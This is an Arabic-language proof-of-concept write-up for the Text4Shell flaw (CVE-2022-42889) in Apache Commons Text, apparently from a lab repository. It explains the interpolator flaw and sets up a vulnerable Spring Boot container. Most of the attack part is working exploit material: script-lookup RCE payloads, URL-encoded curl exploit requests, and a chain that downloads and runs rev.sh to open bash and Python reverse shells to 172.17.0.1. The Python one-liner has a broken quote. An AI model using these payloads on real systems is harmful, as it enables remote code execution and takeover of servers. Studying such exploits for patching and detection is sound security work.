
CVE-2022-42889 المعروف بـ Text4Shell بحث و PoC
إثبات المفهوم (PoC) لثغرة تم اكتشافها مؤخرًا في Apache Commons Text بواسطة @pwntester:
كما ورد في https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
الثغرة موجودة في كائن interpolator الخاص بـ StringSubstitutor. يتم إنشاء interpolator بواسطة طريقة StringSubstitutor.createInterpolator() وسيسمح بعمليات البحث عن السلاسل النصية كما هو محدد في StringLookupFactory. يمكن استغلال ذلك عن طريق تمرير سلسلة نصية “${prefix:name}” حيث prefix هو البحث المذكور. استخدام عمليات البحث “script” أو “dns” أو “url” سيسمح بسلسلة نصية مصممة لتنفيذ نصوص برمجية عشوائية عند تمريرها إلى كائن interpolator.
الإصدارات المتأثرة من Apache Commons Text هي من 1.5 إلى 1.9. تم إصلاحها في الإصدار 1.10.
لاستغلالها عن بُعد، يجب استخدام المدخلات التي يتحكم فيها المهاجم كمدخل لعملية interpolator الخاصة بـ StringSubstitutor. تحديدًا، في طريقتي StringSubstitutor.replace() أو StringSubstitutor.replaceIn()
منذ JDK 15 تمت إزالة محرك Nashorn JavaScript: https://openjdk.org/jeps/372. ولكن في حالة تضمين تبعيات طرف ثالث مثل JEXL، يمكن حدوث تنفيذ تعليمات برمجية عن بُعد (RCE) في Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)
يمكن استغلالها لتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE).
محرك Nashorn:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
في حالة استخدام JEXL من طرف ثالث:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
يمكن أن يؤدي إلى بحث DNS:
${dns:address|commons.apache.org}
يتصل بعنوان URL المحدد ويحاول جلب المحتوى:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
قالب مبني على https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
توجد نقاط نهاية مختلفة لاختبار متجهات الهجوم المختلفة المذكورة.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

باستخدام Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

باستخدام JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


للتبسيط، أستخدم واجهة Docker الافتراضية لمستمع netcat. بعد البحث، توصلت إلى هذه الحمولات مع شل عكسي bash و python تعمل بشكل جيد:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
حيث يتم تقديم rev.sh بالمحتوى المحتمل التالي:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

